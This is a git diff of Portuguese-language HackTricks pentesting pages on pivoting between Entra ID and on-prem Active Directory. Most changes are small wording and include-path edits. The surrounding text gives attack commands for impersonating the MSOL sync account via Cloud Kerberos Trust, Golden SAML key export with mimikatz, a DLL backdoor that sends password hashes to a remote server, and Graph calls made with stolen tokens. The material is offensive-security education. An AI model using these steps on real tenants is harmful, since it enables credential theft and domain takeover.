diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md index 74798c66f..90616ad51 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md @@ -10,7 +10,7 @@ Esta seção cobre as técnicas de pivotagem para mover de um inquilino Entra ID - [**Arc Vulnerable GPO Desploy Script**](az-arc-vulnerable-gpo-deploy-script.md): Se um atacante puder controlar ou criar uma conta de computador AD e acessar o compartilhamento de implantação GPO do Azure Arc, ele pode descriptografar o segredo do Service Principal armazenado e usá-lo para se autenticar no Azure como o principal de serviço associado, comprometendo totalmente o ambiente Azure vinculado. -- [**Cloud Kerberos Trust**](az-cloud-kerberos-trust.md): Como pivotar do Entra ID para o AD quando o Cloud Kerberos Trust está configurado. Um Administrador Global no Entra ID (Azure AD) pode abusar do Cloud Kerberos Trust e da API de sincronização para se passar por contas AD de alto privilégio, obter seus tickets Kerberos ou hashes NTLM, e comprometer totalmente o Active Directory local—mesmo que essas contas nunca tenham sido sincronizadas com a nuvem—efetivamente conectando a escalada de privilégio da nuvem para o AD. +- [**Cloud Kerberos Trust**](az-cloud-kerberos-trust.md): Como pivotar do Entra ID para o AD quando o Cloud Kerberos Trust está configurado. Um Administrador Global no Entra ID (Azure AD) pode abusar do Cloud Kerberos Trust e da API de sincronização para se passar por contas AD de alto privilégio, obter seus tickets Kerberos ou hashes NTLM e comprometer totalmente o Active Directory local—mesmo que essas contas nunca tenham sido sincronizadas com a nuvem—efetivamente conectando a escalada de privilégio da nuvem para o AD. - [**Cloud Sync**](az-cloud-sync.md): Como abusar do Cloud Sync para mover da nuvem para o AD local e vice-versa. diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md index 952cc9b9b..f75f74a35 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md @@ -1,4 +1,4 @@ -# Az - Arc vulnerable GPO Deploy Script +# Az - Arc script de implantação GPO vulnerável {{#include ../../../banners/hacktricks-training.md}} @@ -26,7 +26,7 @@ $encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSe Temos as seguintes condições: -1. Conseguimos penetrar com sucesso a rede interna. +1. Conseguimos penetrar com sucesso na rede interna. 2. Temos a capacidade de criar ou assumir o controle de uma conta de computador dentro do Active Directory. 3. Descobrimos um compartilhamento de rede contendo o diretório AzureArcDeploy. @@ -54,7 +54,7 @@ $ebs ``` Alternativamente, podemos usar [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG). -Neste ponto, podemos coletar as informações restantes necessárias para conectar ao Azure a partir do arquivo ArcInfo.json, que está armazenado na mesma unidade de rede que o arquivo encryptedServicePrincipalSecret. Este arquivo contém detalhes como: TenantId, servicePrincipalClientId, ResourceGroup e mais. Com essas informações, podemos usar o Azure CLI para autenticar como o service principal comprometido. +Neste ponto, podemos reunir as informações restantes necessárias para conectar ao Azure a partir do arquivo ArcInfo.json, que está armazenado na mesma unidade de rede que o arquivo encryptedServicePrincipalSecret. Este arquivo contém detalhes como: TenantId, servicePrincipalClientId, ResourceGroup e mais. Com essas informações, podemos usar o Azure CLI para autenticar como o serviço principal comprometido. ## Referências diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-kerberos-trust.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-kerberos-trust.md index 254ba9c71..e6a1e3e78 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-kerberos-trust.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-kerberos-trust.md @@ -1,6 +1,6 @@ # Az - Cloud Kerberos Trust -{{#include ../../../../banners/hacktricks-training.md}} +{{#include ../../../banners/hacktricks-training.md}} **Este post é um resumo de** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **que pode ser consultado para mais informações sobre o ataque. Esta técnica também é comentada em** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**.** @@ -20,7 +20,7 @@ - Pelo menos uma **conta de usuário híbrida** (existe tanto no AD quanto no AAD) que o atacante pode autenticar. Isso pode ser obtido conhecendo ou redefinindo suas credenciais ou atribuindo um método sem senha (por exemplo, um Temporary Access Pass) para gerar um Primary Refresh Token (PRT) para ela. -- Uma **conta alvo do AD local** com altos privilégios que *não* está na política de "negação" padrão do RODC. Na prática, um ótimo alvo é a **conta de sincronização do AD Connect** (geralmente nomeada **MSOL_***), que possui direitos DCSync (replicação) no AD, mas geralmente não é membro de grupos administrativos integrados. Esta conta normalmente não é sincronizada com o Entra ID, tornando seu SID disponível para impersonação sem conflito. +- Uma **conta de alvo do AD local** com altos privilégios que *não* está na política de "negação" padrão do RODC. Na prática, um ótimo alvo é a **conta de sincronização do AD Connect** (geralmente nomeada **MSOL_***), que possui direitos DCSync (replicação) no AD, mas geralmente não é membro de grupos de administradores integrados. Esta conta normalmente não é sincronizada com o Entra ID, tornando seu SID disponível para impersonação sem conflito. **Passos do Ataque:** @@ -31,16 +31,16 @@ roadtx gettokens -u -p --resource aadgraph ``` *(Alternativamente, o `Connect-AADInt` do AADInternals pode ser usado para autenticar como Administrador Global.)* -2. **Modifique os Atributos On-Prem de um Usuário Híbrido:** Aproveite a **API de sincronização** do Azure AD para definir o **Identificador de Segurança (SID)** e o **SAMAccountName** de um usuário híbrido escolhido para corresponder à conta AD de destino. Isso efetivamente informa ao Azure AD que o usuário na nuvem corresponde à conta on-prem que queremos impersonar. Usando o kit de ferramentas **ROADtools Hybrid**: +2. **Modifique os Atributos On-Prem de um Usuário Híbrido:** Aproveite a **API de sincronização** do Azure AD para definir o **Identificador de Segurança (SID)** e o **SAMAccountName** de um usuário híbrido escolhido para corresponder à conta AD de destino. Isso efetivamente informa ao Azure AD que o usuário da nuvem corresponde à conta on-prem que queremos impersonar. Usando o kit de ferramentas **ROADtools Hybrid** de código aberto: ```bash # Example: modify a hybrid user to impersonate the MSOL account python3 modifyuser.py -u -p \ --sourceanchor \ --sid --sam ``` -> O `sourceAnchor` (ID imutável) do usuário é necessário para identificar o objeto do Azure AD a ser modificado. A ferramenta define o SID on-prem do usuário híbrido e o nome da conta SAM para os valores do alvo (por exemplo, o SID e SAM da conta MSOL_xxxx). O Azure AD normalmente não permite alterar esses atributos via Graph (eles são somente leitura), mas a API do serviço de sincronização permite isso e os Administradores Globais podem invocar essa funcionalidade de sincronização. +> O `sourceAnchor` (ID imutável) do usuário é necessário para identificar o objeto do Azure AD a ser modificado. A ferramenta define o SID on-prem e o nome da conta SAM do usuário híbrido para os valores do alvo (por exemplo, o SID e SAM da conta MSOL_xxxx). O Azure AD normalmente não permite alterar esses atributos via Graph (eles são somente leitura), mas a API do serviço de sincronização permite isso e os Administradores Globais podem invocar essa funcionalidade de sincronização. -3. **Obter um TGT Parcial do Azure AD:** Após a modificação, autentique-se como o usuário híbrido no Azure AD (por exemplo, obtendo um PRT em um dispositivo ou usando suas credenciais). Quando o usuário faz login (especialmente em um dispositivo Windows associado ao domínio ou ao Entra), o Azure AD emitirá um **TGT Kerberos parcial (TGT****AD**) para essa conta porque a Confiança Kerberos na Nuvem está habilitada. Este TGT parcial é criptografado com a chave AzureADKerberos$ RODC e inclui o **SID alvo** que definimos. Podemos simular isso solicitando um PRT para o usuário via ROADtools: +3. **Obter um TGT Parcial do Azure AD:** Após a modificação, autentique-se como o usuário híbrido no Azure AD (por exemplo, obtendo um PRT em um dispositivo ou usando suas credenciais). Quando o usuário faz login (especialmente em um dispositivo Windows associado ao domínio ou ao Entra), o Azure AD emitirá um **TGT Kerberos parcial (TGT****AD**) para essa conta porque o Cloud Kerberos Trust está habilitado. Este TGT parcial é criptografado com a chave AzureADKerberos$ RODC e inclui o **SID alvo** que definimos. Podemos simular isso solicitando um PRT para o usuário via ROADtools: ```bash roadtx getprt -u -p -d ``` @@ -72,4 +72,4 @@ Isso despeja todos os hashes de senha de usuários do AD, dando ao atacante o ha -{{#include ../../../../banners/hacktricks-training.md}} +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md index 5669e8bcc..3695038ab 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-cloud-sync.md @@ -1,6 +1,6 @@ # Az - Cloud Sync -{{#include ../../../../banners/hacktricks-training.md}} +{{#include ../../../banners/hacktricks-training.md}} ## Informações Básicas @@ -22,10 +22,10 @@ Para que isso funcione, alguns principais são criados tanto no Entra ID quanto - No AD, ou a Conta de Serviço **`provAgentgMSA`** é criada com um SamAccountName como **`pGMSA_$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), ou uma personalizada com [**essas permissões são necessárias**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). Normalmente, a padrão é criada. > [!WARNING] -> Entre outras permissões, a Conta de Serviço **`provAgentgMSA`** tem permissões DCSync, permitindo que **qualquer um que a comprometa comprometa todo o diretório**. Para mais informações sobre [DCSync, confira isso](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html). +> Entre outras permissões, a Conta de Serviço **`provAgentgMSA`** possui permissões DCSync, permitindo que **qualquer um que a comprometa comprometa todo o diretório**. Para mais informações sobre [DCSync, confira isso](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html). > [!NOTE] -> Por padrão, usuários de grupos privilegiados conhecidos, como Administradores de Domínio, com o atributo **`adminCount` igual a 1 não são sincronizados** com o Entra ID por razões de segurança. No entanto, outros usuários que fazem parte de grupos privilegiados sem esse atributo ou que são atribuídos a altos privilégios diretamente **podem ser sincronizados**. +> Por padrão, usuários de grupos privilegiados conhecidos, como Administradores de Domínio, com o atributo **`adminCount` para 1 não são sincronizados** com o Entra ID por razões de segurança. No entanto, outros usuários que fazem parte de grupos privilegiados sem esse atributo ou que são atribuídos a altos privilégios **podem ser sincronizados**. ## Sincronização de Senhas @@ -36,7 +36,7 @@ az-connect-sync.md {{#endref}} - **A sincronização de hash de senha** pode ser habilitada para que os usuários possam **fazer login no Entra ID usando suas senhas do AD**. Além disso, sempre que uma senha for modificada no AD, ela será atualizada no Entra ID. -- **A gravação de senha** também pode ser habilitada, permitindo que os usuários modifiquem sua senha no Entra ID, sincronizando automaticamente sua senha no domínio on-premise. Mas de acordo com a [documentação atual](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), para isso é necessário usar o Connect Agent, então dê uma olhada na [seção Az Connect Sync](./az-connect-sync.md) para mais informações. +- **A gravação de senha** também pode ser habilitada, permitindo que os usuários modifiquem sua senha no Entra ID sincronizando automaticamente sua senha no domínio on-premise. Mas de acordo com a [documentação atual](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), para isso é necessário usar o Connect Agent, então dê uma olhada na [seção Az Connect Sync](./az-connect-sync.md) para mais informações. - **Grupos de gravação**: Este recurso permite que as associações de grupos do Entra ID sejam sincronizadas de volta para o AD on-premises. Isso significa que se um usuário for adicionado a um grupo no Entra ID, ele também será adicionado ao grupo correspondente no AD. ## Pivoting @@ -87,7 +87,7 @@ https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/i ../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md {{#endref}} -Quanto à persistência, [este post de blog](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) sugere que é possível usar [**dnSpy**](https://github.com/dnSpy/dnSpy) para backdoorizar o dll **`Microsoft.Online.Passwordsynchronisation.dll`** localizado em **`C:\Program Files\Microsoft Azure AD Sync\Bin`** que é usado pelo agente de Cloud Sync para realizar a sincronização de senhas, fazendo com que exfiltre os hashes de senha dos usuários que estão sendo sincronizados para um servidor remoto. Os hashes são gerados dentro da classe **`PasswordHashGenerator`** e o post do blog sugere adicionar algum código para que a classe fique assim (note o `use System.Net` e o uso de `WebClient` para exfiltrar os hashes de senha): +Quanto à persistência, [este post de blog](https://tierzerosecurity.co.nz/2024/05/21/ms-entra-connect-sync-mothods.html) sugere que é possível usar [**dnSpy**](https://github.com/dnSpy/dnSpy) para backdoor a dll **`Microsoft.Online.Passwordsynchronisation.dll`** localizada em **`C:\Program Files\Microsoft Azure AD Sync\Bin`** que é usada pelo agente de Cloud Sync para realizar a sincronização de senhas, fazendo com que exfiltre os hashes de senha dos usuários que estão sendo sincronizados para um servidor remoto. Os hashes são gerados dentro da classe **`PasswordHashGenerator`** e o post do blog sugere adicionar algum código para que a classe fique assim (note o `use System.Net` e o uso de `WebClient` para exfiltrar os hashes de senha): ```csharp using System; using System.Net; @@ -127,7 +127,7 @@ C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Package 'System.Security.C ### Entra ID --> AD -- Se **Password Writeback** estiver habilitado, você pode modificar a senha de alguns usuários do Entra ID e, se tiver acesso à rede AD, conectar-se usando essas credenciais. Para mais informações, consulte a seção [Az Connect Sync](./az-connect-sync.md) para mais informações, pois o password writeback é configurado usando esse agente. +- Se **Password Writeback** estiver habilitado, você pode modificar a senha de alguns usuários do Entra ID e, se tiver acesso à rede AD, conectar-se usando essas credenciais. Para mais informações, consulte a seção [Az Connect Sync](./az-connect-sync.md), pois o Password Writeback é configurado usando esse agente. - Neste momento, o Cloud Sync também permite **"Microsoft Entra ID to AD"**, mas após muito tempo, descobri que ele NÃO PODE sincronizar usuários do EntraID para AD e que só pode sincronizar usuários do EntraID que foram sincronizados com o hash da senha e vêm de um domínio que pertence à mesma floresta de domínio que o domínio para o qual estamos sincronizando, como você pode ler em [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits): @@ -148,4 +148,4 @@ az rest \ --uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \ --headers "Content-Type=application/json" ``` -{{#include ../../../../banners/hacktricks-training.md}} +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md index 77f78e3cd..74945ee16 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-connect-sync.md @@ -1,6 +1,6 @@ # Az - Connect Sync -{{#include ../../../../banners/hacktricks-training.md}} +{{#include ../../../banners/hacktricks-training.md}} ## Informações Básicas @@ -10,7 +10,7 @@ Para usá-lo, é necessário instalar o agente **`Microsoft Entra Connect Sync`*
-O **Connect Sync** é basicamente a maneira "antiga" de **sincronizar usuários do AD para o Entra ID.** A nova maneira recomendada é usar o **Entra Cloud Sync**: +O **Connect Sync** é basicamente a maneira "antiga" de Azure para **sincronizar usuários do AD para o Entra ID.** A nova maneira recomendada é usar o **Entra Cloud Sync**: {{#ref}} az-cloud-sync.md @@ -19,7 +19,7 @@ az-cloud-sync.md ### Principais Contas Geradas - A conta **`MSOL_`** é criada automaticamente no AD local. Esta conta recebe um papel de **Contas de Sincronização de Diretório** (veja [documentação](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)), o que significa que ela tem **permissões de replicação (DCSync) no AD local**. -- Isso significa que qualquer um que comprometer esta conta poderá comprometer o domínio local. +- Isso significa que qualquer pessoa que comprometer esta conta poderá comprometer o domínio local. - Uma conta de serviço gerenciada **`ADSyncMSA`** é criada no AD local sem privilégios especiais por padrão. - No Entra ID, o Principal de Serviço **`ConnectSyncProvisioning_ConnectSync_`** é criado com um certificado. @@ -33,12 +33,12 @@ Este componente também pode ser usado para **sincronizar senhas do AD para o En Basicamente, todos os **usuários** e um **hash dos hashes de senha** são sincronizados do local para o Azure AD. No entanto, **senhas em texto claro** ou os **hashes** **originais** não são enviados para o Azure AD. -A **sincronização de hashes** ocorre a cada **2 minutos**. No entanto, por padrão, **a expiração de senhas** e **a expiração de contas** **não são sincronizadas** no Azure AD. Assim, um usuário cuja **senha local expirou** (não foi alterada) pode continuar a **acessar recursos do Azure** usando a senha antiga. +A **sincronização de hashes** ocorre a cada **2 minutos**. No entanto, por padrão, **expiração de senha** e **expiração de conta** **não são sincronizadas** no Azure AD. Assim, um usuário cuja **senha local expirou** (não foi alterada) pode continuar a **acessar recursos do Azure** usando a senha antiga. Quando um usuário local deseja acessar um recurso do Azure, a **autenticação ocorre no Azure AD**. > [!NOTE] -> Por padrão, usuários de grupos privilegiados conhecidos, como Administradores de Domínio, com o atributo **`adminCount` igual a 1 não são sincronizados** com o Entra ID por razões de segurança. No entanto, outros usuários que fazem parte de grupos privilegiados sem este atributo ou que têm privilégios elevados atribuídos diretamente **podem ser sincronizados**. +> Por padrão, usuários de grupos privilegiados conhecidos, como Administradores de Domínio, com o atributo **`adminCount` igual a 1 não são sincronizados** com o Entra ID por razões de segurança. No entanto, outros usuários que fazem parte de grupos privilegiados sem esse atributo ou que têm privilégios altos atribuídos diretamente **podem ser sincronizados**. ### Escrita de Senha @@ -46,9 +46,9 @@ Esta configuração permite **sincronizar senhas do Entra ID para o AD** quando Isso é especialmente interessante para comprometer o AD a partir de um Entra ID comprometido, pois você poderá modificar a senha de "quase" qualquer usuário. -Administradores de domínio e outros usuários pertencentes a alguns grupos privilegiados não são replicados se o grupo tiver o **atributo `adminCount` igual a 1**. Mas outros usuários que receberam privilégios elevados dentro do AD sem pertencer a nenhum desses grupos poderiam ter suas senhas alteradas. Por exemplo: +Administradores de domínio e outros usuários pertencentes a alguns grupos privilegiados não são replicados se o grupo tiver o **atributo `adminCount` igual a 1**. Mas outros usuários que receberam privilégios altos dentro do AD sem pertencer a nenhum desses grupos poderiam ter suas senhas alteradas. Por exemplo: -- Usuários atribuídos a privilégios elevados diretamente. +- Usuários atribuídos a privilégios altos diretamente. - Usuários do grupo **`DNSAdmins`**. - Usuários do grupo **`Group Policy Creator Owners`** que criaram GPOs e as atribuíram a OUs poderão modificar as GPOs que criaram. - Usuários do **`Cert Publishers Group`** que podem publicar certificados no Active Directory. @@ -199,4 +199,4 @@ seamless-sso.md - [https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/](https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/) - [https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) -{{#include ../../../../banners/hacktricks-training.md}} +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md index c923738cc..6753c5a93 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-domain-services.md @@ -1,12 +1,12 @@ # Az - Microsoft Entra Domain Services -{{#include ../../../../banners/hacktricks-training.md}} +{{#include ../../../banners/hacktricks-training.md}} ## Domain Services Microsoft Entra Domain Services permite implantar um Active Directory no Azure sem precisar gerenciar Controladores de Domínio (na verdade, você nem tem acesso a eles). -Seu principal objetivo é permitir que você execute aplicativos legados na nuvem que não podem usar métodos de autenticação modernos, ou onde você não deseja que as consultas de diretório sempre voltem para um ambiente AD DS local. +Seu principal objetivo é permitir que você execute aplicativos legados na nuvem que não podem usar métodos modernos de autenticação, ou onde você não deseja que as consultas de diretório sempre voltem para um ambiente AD DS local. Observe que, para sincronizar os usuários gerados no Entra ID (e não sincronizados de outros diretórios ativos) com o serviço de domínio AD, você precisa **mudar a senha do usuário** para uma nova, para que possa ser sincronizada com o novo AD. Na verdade, o usuário não é sincronizado do Microsoft Entra ID para os Serviços de Domínio até que a senha seja alterada. @@ -83,4 +83,4 @@ fi done done <<< "$vm_list" ``` -{{#include ../../../../banners/hacktricks-training.md}} +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-federation.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-federation.md index 25cbd1863..8e263df37 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-federation.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-federation.md @@ -1,13 +1,13 @@ # Az - Federation -{{#include ../../../../banners/hacktricks-training.md}} +{{#include ../../../banners/hacktricks-training.md}} ## Informações Básicas [Dos documentos:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed) ->**Federação** é um conjunto de **domínios** que estabeleceram **confiança**. O nível de confiança pode variar, mas normalmente inclui **autenticação** e quase sempre inclui **autorização**. Uma federação típica pode incluir um **número de organizações** que estabeleceram **confiança** para **acesso compartilhado** a um conjunto de recursos. ->Você pode **federar seu ambiente on-premises** **com o Azure AD** e usar essa federação para autenticação e autorização. Este método de login garante que toda a **autenticação do usuário ocorra on-premises**. Este método permite que os administradores implementem níveis mais rigorosos de controle de acesso. A federação com **AD FS** e PingFederate está disponível. +>**Federação** é uma coleção de **domínios** que estabeleceram **confiança**. O nível de confiança pode variar, mas normalmente inclui **autenticação** e quase sempre inclui **autorização**. Uma federação típica pode incluir um **número de organizações** que estabeleceram **confiança** para **acesso compartilhado** a um conjunto de recursos. +>Você pode **federar seu ambiente on-premises** **com Azure AD** e usar essa federação para autenticação e autorização. Este método de login garante que toda a **autenticação do usuário ocorra on-premises**. Este método permite que os administradores implementem níveis mais rigorosos de controle de acesso. A federação com **AD FS** e PingFederate está disponível.
@@ -23,7 +23,7 @@ Em qualquer configuração de federação, existem três partes:
https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps
https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps
-1. Inicialmente, um aplicativo (Provedor de Serviço ou SP, como o console AWS ou o cliente web vSphere) é acessado por um usuário. Este passo pode ser ignorado, levando o cliente diretamente ao IdP (Provedor de Identidade) dependendo da implementação específica. +1. Inicialmente, um aplicativo (Provedor de Serviço ou SP, como console AWS ou cliente web vSphere) é acessado por um usuário. Esta etapa pode ser ignorada, levando o cliente diretamente ao IdP (Provedor de Identidade) dependendo da implementação específica. 2. Em seguida, o SP identifica o IdP apropriado (por exemplo, AD FS, Okta) para autenticação do usuário. Ele então cria um AuthnRequest SAML (Security Assertion Markup Language) e redireciona o cliente para o IdP escolhido. 3. O IdP assume, autenticando o usuário. Após a autenticação, uma SAMLResponse é formulada pelo IdP e encaminhada ao SP através do usuário. 4. Finalmente, o SP avalia a SAMLResponse. Se validada com sucesso, implicando uma relação de confiança com o IdP, o usuário recebe acesso. Isso marca a conclusão do processo de login, permitindo que o usuário utilize o serviço. @@ -61,7 +61,7 @@ Golden SAMLs oferecem certas vantagens: - Podem ser **criados remotamente**, sem a necessidade de fazer parte do domínio ou federação em questão. - Permanecem eficazes mesmo com **Autenticação de Dois Fatores (2FA)** habilitada. -- A chave privada de assinatura de **token não se renova automaticamente**. +- A chave privada de assinatura de token **não se renova automaticamente**. - **Mudar a senha de um usuário não invalida** um SAML já gerado. #### AWS + AD FS + Golden SAML @@ -76,13 +76,13 @@ Os requisitos para executar um ataque golden SAML incluem: - **Certificado público do IdP** - **Nome do IdP** - **Nome do papel (papel a assumir)** -- Domain\username +- Domínio\username - Nome da sessão de papel na AWS - ID da conta da Amazon -_ Apenas os itens em negrito são obrigatórios. Os outros podem ser preenchidos conforme desejado._ +_Somente os itens em negrito são obrigatórios. Os outros podem ser preenchidos conforme desejado._ -Para adquirir a **chave privada**, é necessário acesso à **conta de usuário do AD FS**. A partir daí, a chave privada pode ser **exportada do armazenamento pessoal** usando ferramentas como [mimikatz](https://github.com/gentilkiwi/mimikatz). Para coletar as outras informações necessárias, você pode utilizar o snapin Microsoft.Adfs.Powershell da seguinte forma, garantindo que você esteja logado como o usuário ADFS: +Para adquirir a **chave privada**, o acesso à **conta de usuário do AD FS** é necessário. A partir daí, a chave privada pode ser **exportada do armazenamento pessoal** usando ferramentas como [mimikatz](https://github.com/gentilkiwi/mimikatz). Para coletar as outras informações necessárias, você pode utilizar o snapin Microsoft.Adfs.Powershell da seguinte forma, garantindo que você esteja logado como o usuário ADFS: ```bash # From an "AD FS" session # After having exported the key with mimikatz @@ -149,4 +149,4 @@ Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http: - [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed) - [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps) -{{#include ../../../../banners/hacktricks-training.md}} +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-hybrid-identity-misc-attacks.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-hybrid-identity-misc-attacks.md index 82ab3ff23..26d75827d 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-hybrid-identity-misc-attacks.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-hybrid-identity-misc-attacks.md @@ -1,6 +1,6 @@ # Ataques Diversos de Identidade Híbrida -{{#include ../../../../banners/hacktricks-training.md}} +{{#include ../../../banners/hacktricks-training.md}} ## Forçando a Sincronização de Usuários do Entra ID para o on-prem @@ -26,4 +26,4 @@ Para sincronizar um novo usuário do Entra ID para o AD on-prem, os requisitos s - [https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/](https://activedirectorypro.com/sync-on-prem-ad-with-existing-azure-ad-users/) - [https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/](https://www.orbid365.be/manually-match-on-premise-ad-user-to-existing-office365-user/) -{{#include ../../../../banners/hacktricks-training.md}} +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md index aa45a1fff..1985af3e2 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md @@ -16,7 +16,7 @@ Tokens e dados sensíveis são armazenados localmente pelo Azure CLI, levantando ### Azure PowerShell -O Azure PowerShell também armazena tokens e dados sensíveis, que podem ser acessados localmente: +Azure PowerShell também armazena tokens e dados sensíveis, que podem ser acessados localmente: 1. **Tokens de Acesso**: `TokenCache.dat`, localizado em `C:\Users\\.Azure`, armazena tokens de acesso em texto simples. 2. **Segredos de Principal de Serviço**: Estes são armazenados sem criptografia em `AzureRmContext.json`. @@ -33,7 +33,7 @@ Como explicado em [**este vídeo**](https://www.youtube.com/watch?v=OHKZkXC4Duw) Passos: -1. Faça o dump dos processos do excel sincronizados com o usuário do EntraID com sua ferramenta favorita. +1. Faça o dump dos processos do excel sincronizados com o usuário EntraID com sua ferramenta favorita. 2. Execute: `string excel.dmp | grep 'eyJ0'` e encontre vários tokens na saída. 3. Encontre os tokens que mais lhe interessam e execute ferramentas sobre eles: ```bash @@ -54,6 +54,6 @@ curl -s -H "Authorization: Bearer " 'https://graph.microsoft.com/v1.0/sit ## Finally, download a file from that drive: curl -o -L -H "Authorization: Bearer " '<@microsoft.graph.downloadUrl>' ``` -**Observe que esses tipos de tokens de acesso também podem ser encontrados dentro de outros processos.** +**Observe que esse tipo de tokens de acesso também pode ser encontrado dentro de outros processos.** {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md index ef2a5a109..2b2ae75ad 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md @@ -4,13 +4,13 